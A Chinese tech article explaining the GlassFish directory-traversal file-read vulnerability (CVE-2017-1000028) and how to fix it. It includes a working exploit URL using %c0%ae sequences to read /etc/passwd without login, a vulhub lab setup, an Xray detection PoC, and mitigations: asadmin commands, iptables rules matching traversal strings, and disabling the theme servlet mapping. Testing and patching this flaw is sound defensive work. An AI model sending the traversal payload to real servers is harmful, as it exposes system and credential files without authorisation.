您好,登錄后才能下訂單哦!
小編給大家分享一下GlassFish任意文件讀取漏洞怎么修復(fù),相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
Port : 4848
glassfish 是一款 java 編寫(xiě)的跨平臺(tái)的開(kāi)源的應(yīng)用服務(wù)器。
java語(yǔ)言中會(huì)把 %c0%ae
解析為 \uC0AE
,最后轉(zhuǎn)義為ASCCII字符的.
(點(diǎn))。利用 %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/
來(lái)向上跳轉(zhuǎn),達(dá)到目錄穿越、任意文件讀取的效果。所以 glassfish 這個(gè) poc 實(shí)際上就是../../../../../../../../../../../etc/passwd。
影響版本:
< 4.1.1(不含 4.1.1)
如下測(cè)試環(huán)境借助 vulhub 的 docker 鏡像,附上 P 師傅的鏈接:https://github.com/vulhub/vulhub?
編譯、運(yùn)行測(cè)試環(huán)境,本環(huán)境超級(jí)管理員密碼在 docker-compose.yml
中設(shè)置,默認(rèn)為 vulhub_default_password
,在4848端口利用該密碼可以登錄管理員賬戶。
docker-compose up -d
環(huán)境運(yùn)行后,訪問(wèn) http://your-ip:8080
和 http://your-ip:4848
即可查看 web 頁(yè)面。其中,8080 端口是網(wǎng)站內(nèi)容,4848 端口是 GlassFish 管理中心。
無(wú)需登錄,直接訪問(wèn) https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
,發(fā)現(xiàn)已成功讀取 /etc/passwd
內(nèi)容:
如下是 Xray 的 POC,其只穿越了上級(jí)目錄,檢測(cè)了版本信息,不涉及敏感信息,但同樣也驗(yàn)證了漏洞存在。
name: poc-yaml-glassfish-cve-2017-1000028-lfi rules: - method: GET path: /theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF follow_redirects: true expression: | response.status == 200 && response.body.bcontains(b"Ant-Version:") && response.body.bcontains(b"Manifest-Version:") detail: version: <4.1.0 author: sharecast links: - https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0
1. 關(guān)閉遠(yuǎn)程管理關(guān)閉遠(yuǎn)程管理,關(guān)閉后只允許本地訪問(wèn),會(huì)提示要求輸入用戶名和密碼,開(kāi)發(fā)環(huán)境或者對(duì)服務(wù)器安全要求較高的環(huán)境可以選擇這么做,修改該設(shè)置后應(yīng)該重啟 GlassFish 服務(wù)
./asadmin change-admin-password ./asadmin disable-secure-admin ./asadmin stop-domain ./asadmin start-domain asadmin.bat change-admin-password asadmin.bat disable-secure-admin asadmin.bat stop-domain asadmin.bat start-domain
需要注意的是,關(guān)閉遠(yuǎn)程訪問(wèn)只能禁用遠(yuǎn)程 login 登錄,但是攻擊 url 還是可以訪問(wèn),任意文件讀取依然存在
2. IPtables 規(guī)則
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '../' -j DROP //該規(guī)則無(wú)法防御HTTPS SSL方案
3. 禁用 web.xml theme 映射\glassfish5\glassfish\lib\install\applications__admingui\WEB-INF\web.xml
<!-- <servlet-mapping><servlet-name>ThemeServlet</servlet-name><url-pattern>/theme/*</url-pattern></servlet-mapping> -->
重啟 glassfish 后生效
以上是“GlassFish任意文件讀取漏洞怎么修復(fù)”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對(duì)大家有所幫助,如果還想學(xué)習(xí)更多知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。